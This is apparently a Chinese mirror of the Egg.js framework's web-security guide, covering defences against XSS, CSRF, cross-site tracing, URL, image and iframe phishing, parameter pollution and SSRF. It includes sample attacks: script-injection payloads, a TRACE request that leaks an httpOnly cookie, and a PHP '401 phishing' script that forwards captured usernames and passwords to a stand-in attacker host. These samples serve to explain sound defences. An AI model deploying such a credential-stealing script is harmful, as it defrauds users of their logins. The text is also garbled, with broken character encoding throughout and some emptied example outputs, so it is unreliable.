Egg 安全相關(guān)

2020-02-06 14:11 更新

Web 安全概念

Web 應(yīng)用中存在很多安全風(fēng)險(xiǎn),這些風(fēng)險(xiǎn)會(huì)被黑客利用,輕則篡改網(wǎng)頁(yè)內(nèi)容,重則竊取網(wǎng)站內(nèi)部數(shù)據(jù),更為嚴(yán)重的則是在網(wǎng)頁(yè)中植入惡意代碼,使得用戶受到侵害。常見(jiàn)的安全漏洞如下:

  • XSS 攻擊:對(duì) Web 頁(yè)面注入腳本,使用 JavaScript 竊取用戶信息,誘導(dǎo)用戶操作。
  • CSRF 攻擊:偽造用戶請(qǐng)求向網(wǎng)站發(fā)起惡意請(qǐng)求。
  • 釣魚(yú)攻擊:利用網(wǎng)站的跳轉(zhuǎn)鏈接或者圖片制造釣魚(yú)陷阱。
  • HTTP參數(shù)污染:利用對(duì)參數(shù)格式驗(yàn)證的不完善,對(duì)服務(wù)器進(jìn)行參數(shù)注入攻擊。
  • 遠(yuǎn)程代碼執(zhí)行:用戶通過(guò)瀏覽器提交執(zhí)行命令,由于服務(wù)器端沒(méi)有針對(duì)執(zhí)行函數(shù)做過(guò)濾,導(dǎo)致在沒(méi)有指定絕對(duì)路徑的情況下就執(zhí)行命令。

而框架本身針對(duì) Web 端常見(jiàn)的安全風(fēng)險(xiǎn)內(nèi)置了豐富的解決方案:

  • 利用 extend 機(jī)制擴(kuò)展了 Helper API, 提供了各種模板過(guò)濾函數(shù),防止釣魚(yú)或 XSS 攻擊。
  • 常見(jiàn) Web 安全頭的支持。
  • CSRF 的防御方案。
  • 靈活的安全配置,可以匹配不同的請(qǐng)求 url 。
  • 可定制的白名單,用于安全跳轉(zhuǎn)和 url 過(guò)濾。
  • 各種模板相關(guān)的工具函數(shù)做預(yù)處理。

在框架中內(nèi)置了安全插件 egg-security, 提供了默認(rèn)的安全實(shí)踐。

開(kāi)啟與關(guān)閉配置

注意:除非清楚的確認(rèn)后果,否則不建議擅自關(guān)閉安全插件提供的功能。

框架的安全插件是默認(rèn)開(kāi)啟的,如果我們想關(guān)閉其中一些安全防范,直接設(shè)置該項(xiàng)的 enable 屬性為 false 即可。例如關(guān)閉 xframe 防范:

exports.security = {
xframe: {
enable: false,
},
};

match 和 ignore

match 和 ignore 使用方法和格式與中間件通用配置一致。

如果只想開(kāi)啟針對(duì)某一路徑,則配置 match 選項(xiàng),例如只針對(duì) /example 開(kāi)啟 CSP:

exports.security = {
csp: {
match: '/example',
policy: {
//...
},
},
};

如果需要針對(duì)某一路徑忽略某安全選項(xiàng),則配置 ignore 選項(xiàng),例如針對(duì) /example 關(guān)閉 xframe,以便合作商戶能夠嵌入我們的頁(yè)面:

exports.security = {
csp: {
ignore: '/example',
xframe: {
//...
},
},
};

如果要針對(duì)內(nèi)部 ip 關(guān)閉部分安全防范:

exports.security = {
csrf: {
// 判斷是否需要 ignore 的方法,請(qǐng)求上下文 context 作為第一個(gè)參數(shù)
ignore: ctx => isInnerIp(ctx.ip),
},
}

下面我們會(huì)針對(duì)具體的場(chǎng)景,來(lái)講解如何使用框架提供的安全方案進(jìn)行 Web 安全防范。

安全威脅XSS的防范

XSS(cross-site scripting跨域腳本攻擊)攻擊是最常見(jiàn)的 Web 攻擊,其重點(diǎn)是『跨域』和『客戶端執(zhí)行』。

XSS 攻擊一般分為兩類(lèi):

  • Reflected XSS(反射型的 XSS 攻擊)
  • Stored XSS(存儲(chǔ)型的 XSS 攻擊)

Reflected XSS

反射型的 XSS 攻擊,主要是由于服務(wù)端接收到客戶端的不安全輸入,在客戶端觸發(fā)執(zhí)行從而發(fā)起 Web 攻擊。比如:

在某購(gòu)物網(wǎng)站搜索物品,搜索結(jié)果會(huì)顯示搜索的關(guān)鍵詞。搜索關(guān)鍵詞填入<script>alert('handsome boy')</script>, 點(diǎn)擊搜索。頁(yè)面沒(méi)有對(duì)關(guān)鍵詞進(jìn)行過(guò)濾,這段代碼就會(huì)直接在頁(yè)面上執(zhí)行,彈出 alert。

防范方式

框架提供了 helper.escape() 方法對(duì)字符串進(jìn)行 XSS 過(guò)濾。

const str = '><script>alert("abc") </script><';
console.log(ctx.helper.escape(str));
// => ><script&gt;alert(&quot;abc&quot;) &lt;/script&gt;&lt;

當(dāng)網(wǎng)站需要直接輸出用戶輸入的結(jié)果時(shí),請(qǐng)務(wù)必使用 helper.escape() 包裹起來(lái),如在 egg-view-nunjucks 里面就覆蓋掉了內(nèi)置的 escape。

另外一種情況,網(wǎng)站輸出的內(nèi)容會(huì)提供給 JavaScript 來(lái)使用。這個(gè)時(shí)候需要使用 helper.sjs() 來(lái)進(jìn)行過(guò)濾。

helper.sjs() 用于在 JavaScript(包括 onload 等 event)中輸出變量,會(huì)對(duì)變量中字符進(jìn)行 JavaScript ENCODE, 將所有非白名單字符轉(zhuǎn)義為 \x 形式,防止 XSS 攻擊,也確保在 js 中輸出的正確性。使用實(shí)例:

const foo = '"hello"';

// 未使用 sjs
console.log(`var foo = "${foo}";`);
// => var foo = ""hello"";

// 使用 sjs
console.log(`var foo = "${this.helper.sjs(foo)}";`);
// => var foo = "\\x22hello\\x22";

還有一種情況,有時(shí)候我們需要在 JavaScript 中輸出 json ,若未做轉(zhuǎn)義,易被利用為 XSS 漏洞??蚣芴峁┝?nbsp;helper.sjson() 宏做 json encode,會(huì)遍歷 json 中的 key ,將 value 的值中,所有非白名單字符轉(zhuǎn)義為 \x 形式,防止 XSS 攻擊。同時(shí)保持 json 結(jié)構(gòu)不變。 若存在模板中輸出一個(gè) JSON 字符串給 JavaScript 使用的場(chǎng)景,請(qǐng)使用 helper.sjson(變量名) 進(jìn)行轉(zhuǎn)義。

處理過(guò)程較復(fù)雜,性能損耗較大,請(qǐng)僅在必要時(shí)使用。

實(shí)例:

<script>
window.locals = {{ helper.sjson(locals) }};
</script>

Stored XSS

基于存儲(chǔ)的 XSS 攻擊,是通過(guò)提交帶有惡意腳本的內(nèi)容存儲(chǔ)在服務(wù)器上,當(dāng)其他人看到這些內(nèi)容時(shí)發(fā)起 Web 攻擊。一般提交的內(nèi)容都是通過(guò)一些富文本編輯器編輯的,很容易插入危險(xiǎn)代碼。

防范方式

框架提供了 helper.shtml() 方法對(duì)字符串進(jìn)行 XSS 過(guò)濾。

注意,將富文本(包含 HTML 代碼的文本)當(dāng)成變量直接在模版里面輸出時(shí),需要用到 shtml 來(lái)處理。 使用 shtml 可以輸出 HTML 的 tag,同時(shí)執(zhí)行 XSS 的過(guò)濾動(dòng)作,過(guò)濾掉非法的腳本。

由于是一個(gè)非常復(fù)雜的安全處理過(guò)程,對(duì)服務(wù)器處理性能一定影響,如果不是輸出 HTML,請(qǐng)勿使用。

簡(jiǎn)單示例:

// js
const value = `<a rel="external nofollow" target="_blank" rel="external nofollow" target="_blank" >google</a><script>evilcode…</script>`;

// 模板
<html>
<body>
{{ helper.shtml(value) }}
</body>
</html>
// => <a rel="external nofollow" target="_blank" rel="external nofollow" target="_blank" >google</a>&lt;script&gt;evilcode…&lt;/script&gt;

shtml 在 xss 模塊基礎(chǔ)上增加了針對(duì)域名的過(guò)濾。

例如只支持 a 標(biāo)簽,且除了 title 其他屬性都過(guò)濾掉: whiteList: {a: ['title']}

options:

  • config.helper.shtml.domainWhiteList: [] 可拓展 href 和 src 中允許的域名白名單。

注意,shtml 使用了嚴(yán)格的白名單機(jī)制,除了過(guò)濾掉 XSS 風(fēng)險(xiǎn)的字符串外, 在默認(rèn)規(guī)則外的 tag 和 attr 都會(huì)被過(guò)濾掉。

例如 HTML 標(biāo)簽就不在白名單中,

const html = '<html></html>';

// html
{{ helper.shtml(html) }}

// 輸出空

常見(jiàn)的 data-xx 屬性由于不在白名單中,所以都會(huì)被過(guò)濾。

所以,一定要注意 shtml 的適用場(chǎng)景,一般是針對(duì)來(lái)自用戶的富文本輸入,切忌濫用,功能既受到限制,又會(huì)影響服務(wù)端性能。 此類(lèi)場(chǎng)景一般是論壇、評(píng)論系統(tǒng)等,即便是論壇等如果不支持 HTML 內(nèi)容輸入,也不要使用此 Helper,直接使用 escape 即可。

JSONP XSS

JSONP 的 callback 參數(shù)非常危險(xiǎn),他有兩種風(fēng)險(xiǎn)可能導(dǎo)致 XSS

1、callback 參數(shù)意外截?cái)鄇s代碼,特殊字符單引號(hào)雙引號(hào),換行符均存在風(fēng)險(xiǎn)。

2、callback 參數(shù)惡意添加標(biāo)簽(如 <script> ),造成 XSS 漏洞。

參考 JSONP 安全攻防

框架內(nèi)部使用 jsonp-body 來(lái)對(duì) JSONP 請(qǐng)求進(jìn)行安全防范。

防御內(nèi)容:

  • callback 函數(shù)名詞最長(zhǎng) 50 個(gè)字符限制
  • callback 函數(shù)名只允許 [, ], a-zA-Z0123456789_, $, .,防止一般的 XSS,utf-7 XSS等攻擊。

可定義配置:

  • callback 默認(rèn) _callback,可以重命名。
  • limit - 函數(shù)名 length 限制,默認(rèn) 50。

其他 XSS 的防范方式

瀏覽器自身具有一定針對(duì)各種攻擊的防范能力,他們一般是通過(guò)開(kāi)啟 Web 安全頭生效的??蚣軆?nèi)置了一些常見(jiàn)的 Web 安全頭的支持。

CSP

W3C 的 Content Security Policy,簡(jiǎn)稱 CSP,主要是用來(lái)定義頁(yè)面可以加載哪些資源,減少 XSS 的發(fā)生。

框架內(nèi)支持 CSP 的配置,不過(guò)是默認(rèn)關(guān)閉的,開(kāi)啟后可以有效的防止 XSS 攻擊的發(fā)生。要配置 CSP , 需要對(duì) CSP 的 policy 策略有了解,具體細(xì)節(jié)可以參考 CSP 是什么。

X-Download-Options:noopen

默認(rèn)開(kāi)啟,禁用 IE 下下載框Open按鈕,防止 IE 下下載文件默認(rèn)被打開(kāi) XSS。

X-Content-Type-Options:nosniff

禁用 IE8 自動(dòng)嗅探 mime 功能例如 text/plain 卻當(dāng)成 text/html 渲染,特別當(dāng)本站點(diǎn) serve 的內(nèi)容未必可信的時(shí)候。

X-XSS-Protection

IE 提供的一些 XSS 檢測(cè)與防范,默認(rèn)開(kāi)啟

  • close 默認(rèn)值false,即設(shè)置為 1; mode=block

安全威脅 CSRF 的防范

CSRF(Cross-site request forgery跨站請(qǐng)求偽造,也被稱為 One Click Attack 或者 Session Riding,通??s寫(xiě)為 CSRF 或者 XSRF,是一種對(duì)網(wǎng)站的惡意利用。 CSRF 攻擊會(huì)對(duì)網(wǎng)站發(fā)起惡意偽造的請(qǐng)求,嚴(yán)重影響網(wǎng)站的安全。因此框架內(nèi)置了 CSRF 防范方案。

防范方式

通常來(lái)說(shuō),對(duì)于 CSRF 攻擊有一些通用的防范方案,簡(jiǎn)單的介紹幾種常用的防范方案:

  • Synchronizer Tokens:通過(guò)響應(yīng)頁(yè)面時(shí)將 token 渲染到頁(yè)面上,在 form 表單提交的時(shí)候通過(guò)隱藏域提交上來(lái)。
  • Double Cookie Defense:將 token 設(shè)置在 Cookie 中,在提交 post 請(qǐng)求的時(shí)候提交 Cookie,并通過(guò) header 或者 body 帶上 Cookie 中的 token,服務(wù)端進(jìn)行對(duì)比校驗(yàn)。
  • Custom Header:信任帶有特定的 header(例如 X-Requested-With: XMLHttpRequest)的請(qǐng)求。這個(gè)方案可以被繞過(guò),所以 rails 和 django 等框架都放棄了該防范方式。

框架結(jié)合了上述幾種防范方式,提供了一個(gè)可配置的 CSRF 防范策略。

使用方式

同步表單的 CSRF 校驗(yàn)

在同步渲染頁(yè)面時(shí),在表單請(qǐng)求中增加一個(gè) name 為 _csrf 的 url query,值為 ctx.csrf,這樣用戶在提交這個(gè)表單的時(shí)候會(huì)將 CSRF token 提交上來(lái):

<form method="POST" action="/upload?_csrf={{ ctx.csrf | safe }}" enctype="multipart/form-data">
title: <input name="title" />
file: <input name="file" type="file" />
<button type="submit">upload</button>
</form>

傳遞 CSRF token 的字段可以在配置中改變:

// config/config.default.js
module.exports = {
security: {
csrf: {
queryName: '_csrf', // 通過(guò) query 傳遞 CSRF token 的默認(rèn)字段為 _csrf
bodyName: '_csrf', // 通過(guò) body 傳遞 CSRF token 的默認(rèn)字段為 _csrf
},
},
};

為了防范 BREACH 攻擊,通過(guò)同步方式渲染到頁(yè)面上的 CSRF token 在每次請(qǐng)求時(shí)都會(huì)變化,egg-view-nunjucks 等 View 插件會(huì)自動(dòng)對(duì) Form 進(jìn)行注入,對(duì)應(yīng)用開(kāi)發(fā)者無(wú)感知。

AJAX 請(qǐng)求

在 CSRF 默認(rèn)配置下,token 會(huì)被設(shè)置在 Cookie 中,在 AJAX 請(qǐng)求的時(shí)候,可以從 Cookie 中取到 token,放置到 query、body 或者 header 中發(fā)送給服務(wù)端。

In jQuery:

var csrftoken = Cookies.get('csrfToken');

function csrfSafeMethod(method) {
// these HTTP methods do not require CSRF protection
return (/^(GET|HEAD|OPTIONS|TRACE)$/.test(method));
}
$.ajaxSetup({
beforeSend: function(xhr, settings) {
if (!csrfSafeMethod(settings.type) && !this.crossDomain) {
xhr.setRequestHeader('x-csrf-token', csrftoken);
}
},
});

通過(guò) header 傳遞 CSRF token 的字段也可以在配置中改變:

// config/config.default.js
module.exports = {
security: {
csrf: {
headerName: 'x-csrf-token', // 通過(guò) header 傳遞 CSRF token 的默認(rèn)字段為 x-csrf-token
},
},
};

Session vs Cookie 存儲(chǔ)

默認(rèn)配置下,框架會(huì)將 CSRF token 存在 Cookie 中,以方便 AJAX 請(qǐng)求獲取到。但是所有的子域名都可以設(shè)置 Cookie,因此當(dāng)我們的應(yīng)用處于無(wú)法保證所有的子域名都受控的情況下,存放在 Cookie 中可能有被 CSRF 攻擊的風(fēng)險(xiǎn)。框架提供了一個(gè)配置項(xiàng),可以將 token 存放到 Session 中。

// config/config.default.js
module.exports = {
security: {
csrf: {
useSession: true, // 默認(rèn)為 false,當(dāng)設(shè)置為 true 時(shí),將會(huì)把 csrf token 保存到 Session 中
cookieName: 'csrfToken', // Cookie 中的字段名,默認(rèn)為 csrfToken
sessionName: 'csrfToken', // Session 中的字段名,默認(rèn)為 csrfToken
},
},
};

忽略 JSON 請(qǐng)求(已廢棄)

注意:該選項(xiàng)已廢棄,攻擊者可以通過(guò) flash + 307 來(lái)攻破,請(qǐng)不要在生產(chǎn)環(huán)境打開(kāi)改選項(xiàng)!

在 SOP 的安全策略保護(hù)下,基本上所有的現(xiàn)代瀏覽器都不允許跨域發(fā)起 content-type 為 JSON 的請(qǐng)求,因此我們可以直接放過(guò)類(lèi)型的 JSON 格式的請(qǐng)求。

// config/config.default.js
module.exports = {
security: {
csrf: {
ignoreJSON: true, // 默認(rèn)為 false,當(dāng)設(shè)置為 true 時(shí),將會(huì)放過(guò)所有 content-type 為 `application/json` 的請(qǐng)求
},
},
};

刷新 CSRF token

當(dāng) CSRF token 存儲(chǔ)在 Cookie 中時(shí),一旦在同一個(gè)瀏覽器上發(fā)生用戶切換,新登陸的用戶將會(huì)依舊使用舊的 token(之前用戶使用的),這會(huì)帶來(lái)一定的安全風(fēng)險(xiǎn),因此在每次用戶登陸的時(shí)候都必須刷新 CSRF token。

// login controller
exports.login = function* (ctx) {
const { username, password } = ctx.request.body;
const user = yield ctx.service.user.find({ username, password });
if (!user) ctx.throw(403);
ctx.session = { user };

// 調(diào)用 rotateCsrfSecret 刷新用戶的 CSRF token
ctx.rotateCsrfSecret();

ctx.body = { success: true };
}

安全威脅 XST 的防范

XST 的全稱是 Cross-Site Tracing,客戶端發(fā) TRACE 請(qǐng)求至服務(wù)器,如果服務(wù)器按照標(biāo)準(zhǔn)實(shí)現(xiàn)了 TRACE 響應(yīng),則在 response body 里會(huì)返回此次請(qǐng)求的完整頭信息。通過(guò)這種方式,客戶端可以獲取某些敏感的頭字段,例如 httpOnly 的 Cookie。

下面我們基于 Koa 來(lái)實(shí)現(xiàn)一個(gè)簡(jiǎn)單的支持 TRACE 方法的服務(wù)器:

var koa = require('koa');
var app = koa();

app.use(function* (next) {
this.cookies.set('a', 1, { httpOnly: true });
if (this.method === 'TRACE') {
var body = '';
for (header in this.headers) {
body += header + ': ' + this.headers[header] + '\r\n';
}
this.body = body;
}
yield* next;
});

app.listen(7001);

啟動(dòng)服務(wù)后,先發(fā)個(gè) GET 請(qǐng)求 curl -i http://127.0.0.1:7001,得到如下響應(yīng):

HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 2
Date: Thu, 06 Nov 2014 05:04:42 GMT
Connection: keep-alive

OK

服務(wù)器設(shè)置了一個(gè) httpOnly 的 Cookie 為 1,在瀏覽器環(huán)境中,是無(wú)法通過(guò)腳本獲取它的。

接著我們發(fā) TRACE 請(qǐng)求到服務(wù)器curl -X TRACE -b a=1 -i http://127.0.0.1:7001,并帶上 Cookie,得到如下響應(yīng):

HTTP/1.1 200 OK
X-Powered-By: koa
Set-Cookie: a=1; path=/; httponly
Content-Type: text/plain; charset=utf-8
Content-Length: 73
Date: Thu, 06 Nov 2014 05:07:47 GMT
Connection: keep-alive

user-agent: curl/7.37.1
host: 127.0.0.1:7001
accept: */*
cookie: a=1

在響應(yīng)體里可以看到完整的頭信息,這樣我們就繞過(guò)了 httpOnly 的限制,拿到了cookie=1,造成了很大的風(fēng)險(xiǎn)。

拓展閱讀

http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html

http://deadliestwebattacks.com/2010/05/18/cross-site-tracing-xst-the-misunderstood-vulnerability/

防范方式

框架已經(jīng)禁止了 trace,track,options 三種危險(xiǎn)類(lèi)型請(qǐng)求。

安全威脅 釣魚(yú)攻擊 的防范

釣魚(yú)有多種方式,這里介紹 url 釣魚(yú)、圖片釣魚(yú)和 iframe 釣魚(yú)。

url 釣魚(yú)

服務(wù)端未對(duì)傳入的跳轉(zhuǎn) url 變量進(jìn)行檢查和控制,可能導(dǎo)致可惡意構(gòu)造任意一個(gè)惡意地址,誘導(dǎo)用戶跳轉(zhuǎn)到惡意網(wǎng)站。 由于是從可信的站點(diǎn)跳轉(zhuǎn)出去的,用戶會(huì)比較信任,所以跳轉(zhuǎn)漏洞一般用于釣魚(yú)攻擊,通過(guò)轉(zhuǎn)到惡意網(wǎng)站欺騙用戶輸入用戶名和密碼盜取用戶信息,或欺騙用戶進(jìn)行金錢(qián)交易; 也可能引發(fā)的 XSS 漏洞(主要是跳轉(zhuǎn)常常使用 302 跳轉(zhuǎn),即設(shè)置 HTTP 響應(yīng)頭,Locatioin: url,如果 url 包含了 CRLF,則可能隔斷了 HTTP 響應(yīng)頭,使得后面部分落到了 HTTP body,從而導(dǎo)致 XSS 漏洞)。

防范方式

  • 若跳轉(zhuǎn)的 url 事先是可以確定的,包括 url 和參數(shù)的值,則可以在后臺(tái)先配置好,url 參數(shù)只需傳對(duì)應(yīng) url 的索引即可,通過(guò)索引找到對(duì)應(yīng)具體 url 再進(jìn)行跳轉(zhuǎn);
  • 若跳轉(zhuǎn)的 url 事先不確定,但其輸入是由后臺(tái)生成的(不是用戶通過(guò)參數(shù)傳人),則可以先生成好跳轉(zhuǎn)鏈接然后進(jìn)行簽名;
  • 若 1 和 2 都不滿足,url 事先無(wú)法確定,只能通過(guò)前端參數(shù)傳入,則必須在跳轉(zhuǎn)的時(shí)候?qū)?url 進(jìn)行按規(guī)則校驗(yàn):判斷 url 是否在應(yīng)用授權(quán)的白名單內(nèi)。

框架提供了安全跳轉(zhuǎn)的方法,可以通過(guò)配置白名單避免這種風(fēng)險(xiǎn)。

  • ctx.redirect(url) 如果不在配置的白名單內(nèi),則禁止。
  • ctx.unsafeRedirect(url) 一般不建議使用,明確了解可能帶來(lái)的風(fēng)險(xiǎn)后使用。

安全方案覆蓋了默認(rèn)的ctx.redirect方法,所有的跳轉(zhuǎn)均會(huì)經(jīng)過(guò)安全域名的判斷。

用戶如果使用ctx.redirect方法,需要在應(yīng)用的配置文件中做如下配置:

// config/config.default.js
exports.security = {
domainWhiteList:['.domain.com'], // 安全白名單,以 . 開(kāi)頭
};

若用戶沒(méi)有配置 domainWhiteList 或者 domainWhiteList數(shù)組內(nèi)為空,則默認(rèn)會(huì)對(duì)所有跳轉(zhuǎn)請(qǐng)求放行,即等同于ctx.unsafeRedirect(url)

圖片釣魚(yú)

如果可以允許用戶向網(wǎng)頁(yè)里插入未經(jīng)驗(yàn)證的外鏈圖片,這有可能出現(xiàn)釣魚(yú)風(fēng)險(xiǎn)。

比如常見(jiàn)的 401釣魚(yú), 攻擊者在訪問(wèn)頁(yè)面時(shí),頁(yè)面彈出驗(yàn)證頁(yè)面讓用戶輸入帳號(hào)及密碼,當(dāng)用戶輸入之后,帳號(hào)及密碼就存儲(chǔ)到了黑客的服務(wù)器中。 通常這種情況會(huì)出現(xiàn)在<img src=$url />中,系統(tǒng)不對(duì)$url是否在域名白名單內(nèi)進(jìn)行校驗(yàn)。

攻擊者可以在自己的服務(wù)器中構(gòu)造以下代碼:

401.php:作用為彈出 401 窗口,并且記錄用戶信息。

<?php
header('WWW-Authenticate: Basic realm="No authorization"');
header('HTTP/1.1 401 Unauthorized');
$domain = "http://hacker.com/fishing/";
if ($_SERVER[sectech:'PHP_AUTH_USER'] !== null){
header("Location: ".$domain."record.php?a=".$_SERVER[sectech:'PHP_AUTH_USER']."&b=".$_SERVER[sectech:'PHP_AUTH_PW']);
}
?>

之后攻擊者生成一個(gè)圖片鏈接<img src="http://xxx.xxx.xxx/fishing/401.php?a.jpg//" rel="external nofollow" />。

當(dāng)用戶訪問(wèn)時(shí),會(huì)彈出信息讓用戶點(diǎn)擊,用戶輸入的用戶名及密碼會(huì)被黑客的服務(wù)器偷偷記錄。

防范方式

框架提供了 .surl() 宏做 url 過(guò)濾。

用于在 html 標(biāo)簽中中要解析 url 的地方(比如 <a href=""/><img src=""/>),其他地方不允許使用。

對(duì)模板中要輸出的變量,加 helper.surl($value)。

注意:在需要解析 url 的地方,surl 外面一定要加上雙引號(hào),否則就會(huì)導(dǎo)致XSS漏洞。

不使用 surl

<a href="$value" />

output:

<a  rel="external nofollow" target="_blank"  />

使用 surl

<a href="helper.surl($value)" />

output:

<a  rel="external nofollow" target="_blank"  />

iframe 釣魚(yú)

iframe 釣魚(yú),通過(guò)內(nèi)嵌 iframe 到被攻擊的網(wǎng)頁(yè)中,攻擊者可以引導(dǎo)用戶去點(diǎn)擊 iframe 指向的危險(xiǎn)網(wǎng)站,甚至遮蓋,影響網(wǎng)站的正常功能,劫持用戶的點(diǎn)擊操作。

框架提供了 X-Frame-Options 這個(gè)安全頭來(lái)防止 iframe 釣魚(yú)。默認(rèn)值為 SAMEORIGIN,只允許同域把本頁(yè)面當(dāng)作 iframe 嵌入。

當(dāng)需要嵌入一些可信的第三方網(wǎng)頁(yè)時(shí),可以關(guān)閉這個(gè)配置。

安全威脅 HPP 的防范

Http Parameter Pollution(HPP),即 HTTP 參數(shù)污染攻擊。在HTTP協(xié)議中是允許同樣名稱的參數(shù)出現(xiàn)多次,而由于應(yīng)用的實(shí)現(xiàn)不規(guī)范,攻擊者通過(guò)傳播參數(shù)的時(shí)候傳輸 key 相同而 value 不同的參數(shù),從而達(dá)到繞過(guò)某些防護(hù)的后果。

HPP 可能導(dǎo)致的安全威脅有:

  • 繞過(guò)防護(hù)和參數(shù)校驗(yàn)。
  • 產(chǎn)生邏輯漏洞和報(bào)錯(cuò),影響應(yīng)用代碼執(zhí)行。

拓展閱讀

  • https://www.owasp.org/index.php/Testing_for_HTTP_Parameter_pollution_(OTG-INPVAL-004)
  • http://blog.csdn.net/eatmilkboy/article/details/6761407
  • https://media.blackhat.com/bh-us-11/Balduzzi/BH_US_11_Balduzzi_HPP_WP.pdf
  • ebay 因參數(shù)污染存在 RCE(遠(yuǎn)程命令執(zhí)行)漏洞:http://secalert.net/2013/12/13/ebay-remote-code-execution/

如何防范

框架本身會(huì)在客戶端傳輸 key 相同而 value 不同的參數(shù)時(shí),強(qiáng)制使用第一個(gè)參數(shù),因此不會(huì)導(dǎo)致 hpp 攻擊。

中間人攻擊與 HTTP / HTTPS

HTTP 是網(wǎng)絡(luò)應(yīng)用廣泛使用的協(xié)議,負(fù)責(zé) Web 內(nèi)容的請(qǐng)求和獲取。然而,內(nèi)容請(qǐng)求和獲取時(shí)會(huì)經(jīng)過(guò)許多中間人,主要是網(wǎng)絡(luò)環(huán)節(jié),充當(dāng)內(nèi)容入口的瀏覽器、路由器廠商、WIFI提供商、通信運(yùn)營(yíng)商,如果使用了代理、翻墻軟件則會(huì)引入更多中間人。由于 HTTP 請(qǐng)求的路徑、參數(shù)默認(rèn)情況下均是明文的,因此這些中間人可以對(duì) HTTP 請(qǐng)求進(jìn)行監(jiān)控、劫持、阻擋。

在沒(méi)有 HTTPS 時(shí),運(yùn)營(yíng)商可在用戶發(fā)起請(qǐng)求時(shí)直接跳轉(zhuǎn)到某個(gè)廣告,或者直接改變搜索結(jié)果插入自家的廣告。如果劫持代碼出現(xiàn)了 BUG ,則直接讓用戶無(wú)法使用,出現(xiàn)白屏。

數(shù)據(jù)泄露、請(qǐng)求劫持、內(nèi)容篡改等等問(wèn)題,核心原因就在于 HTTP 是全裸式的明文請(qǐng)求,域名、路徑和參數(shù)都被中間人們看得一清二楚。HTTPS 做的就是給請(qǐng)求加密,讓其對(duì)用戶更加安全。對(duì)于自身而言除了保障用戶利益外,還可避免本屬于自己的流量被挾持,以保護(hù)自身利益。

盡管 HTTPS 并非絕對(duì)安全,掌握根證書(shū)的機(jī)構(gòu)、掌握加密算法的組織同樣可以進(jìn)行中間人形式的攻擊。不過(guò)HTTPS是現(xiàn)行架構(gòu)下最安全的解決方案,并且它大幅增加了中間人攻擊的成本。

因此,請(qǐng)各位使用 Egg 框架開(kāi)發(fā)網(wǎng)站的開(kāi)發(fā)者,務(wù)必推動(dòng)自己的網(wǎng)站升級(jí)到 HTTPS。

對(duì)于 HTTPS 來(lái)講,還有一點(diǎn)要注意的是 HTTP 嚴(yán)格傳輸安全(HSTS),如果不使用 HSTS,當(dāng)用戶在瀏覽器中輸入網(wǎng)址時(shí)沒(méi)有加 HTTPS,瀏覽器會(huì)默認(rèn)使用 HTTP 訪問(wèn)

框架默認(rèn)關(guān)閉了 hsts Strict-Transport-Security。使得 HTTPS 站點(diǎn)不跳轉(zhuǎn)到 HTTP,如果站點(diǎn)支持 HTTPS,請(qǐng)一定要開(kāi)啟。

如果我們的Web 站點(diǎn)是 http 站點(diǎn),需要關(guān)閉這個(gè)頭。配置如下:

  • maxAge 默認(rèn)一年 365 * 24 * 3600。
  • includeSubdomains 默認(rèn) false, 可以添加子域名,保證所有子域名都使用 HTTPS 訪問(wèn)。

安全威脅 SSRF 的防范

通過(guò) Server-Side Request Forgery(SSRF) 攻擊,攻擊者可以發(fā)起網(wǎng)絡(luò)請(qǐng)求訪問(wèn)或者操作內(nèi)部網(wǎng)絡(luò)的資源。

一般來(lái)說(shuō),SSRF 安全漏洞常見(jiàn)于開(kāi)發(fā)者在服務(wù)端直接請(qǐng)求客戶端傳遞進(jìn)來(lái)的 URL 資源,一旦攻擊者傳入一些內(nèi)部的 URL 即可發(fā)起 SSRF 攻擊。

如何防范

通常我們會(huì)基于內(nèi)網(wǎng) IP 黑名單的形式來(lái)防范 SSRF 攻擊,通過(guò)對(duì)解析域名后得到的 IP 做過(guò)濾,禁止訪問(wèn)內(nèi)部 IP 地址來(lái)達(dá)到防范 SSRF 攻擊的目的。

框架在 ctx, app 和 agent 上都提供了 safeCurl 方法,在發(fā)起網(wǎng)絡(luò)請(qǐng)求的同時(shí)會(huì)對(duì)指定的內(nèi)網(wǎng) IP 地址過(guò)濾,除此之外,該方法和框架提供的 curl 方法一致。

  • ctx.safeCurl(url, options)
  • app.safeCurl(url, options)
  • agent.safeCurl(url, options)

配置

直接調(diào)用 safeCurl 方法其實(shí)并沒(méi)有任何作用,還需要配合安全配置項(xiàng)。

  • ipBlackList(Array) - 配置內(nèi)網(wǎng) IP 名單,在這些網(wǎng)段內(nèi)的 IP 地址無(wú)法被訪問(wèn)。
  • checkAddress(Function) - 直接配置一個(gè)檢查 IP 地址的函數(shù),根據(jù)函數(shù)的返回值來(lái)判斷是否允許在 safeCurl 中被訪問(wèn),當(dāng)返回非 true 時(shí),該 IP 無(wú)法被訪問(wèn)。checkAddress 優(yōu)先級(jí)高于 ipBlackList。
// config/config.default.js
exports.security = {
ssrf: {
ipBlackList: [
'10.0.0.0/8', // 支持 IP 網(wǎng)段
'0.0.0.0/32',
'127.0.0.1', // 支持指定 IP 地址
],
// 配置了 checkAddress 時(shí),ipBlackList 不會(huì)生效
checkAddress(ip) {
return ip !== '127.0.0.1';
},
},
};

其他安全工具

ctx.isSafeDomain(domain)

是否為安全域名。安全域名在配置中配置,見(jiàn) ctx.redirect 部分。

app.injectCsrf(str)

這個(gè)函數(shù)提供了模板預(yù)處理-自動(dòng)插入 CSRF key 的能力,可以自動(dòng)在所有的 form 標(biāo)簽中插入 CSRF 隱藏域,用戶就不需要手動(dòng)寫(xiě)了。

app.injectNonce(str)

這個(gè)函數(shù)提供了模板預(yù)處理-自動(dòng)插入 nonce 的能力,如果網(wǎng)站開(kāi)啟了 CSP 安全頭,并且想使用 CSP 2.0 nonce 特性,可以使用這個(gè)函數(shù)。參考 CSP 是什么。

這個(gè)函數(shù)會(huì)掃描模板中的 script 標(biāo)簽,并自動(dòng)加上 nonce 頭。

app.injectHijackingDefense(str)

對(duì)于沒(méi)有開(kāi)啟 HTTPS 的網(wǎng)站,這個(gè)函數(shù)可以有限的防止運(yùn)營(yíng)商劫持。


以上內(nèi)容是否對(duì)您有幫助:
在線筆記
App下載
App下載

掃描二維碼

下載編程獅App

公眾號(hào)
微信公眾號(hào)

編程獅公眾號(hào)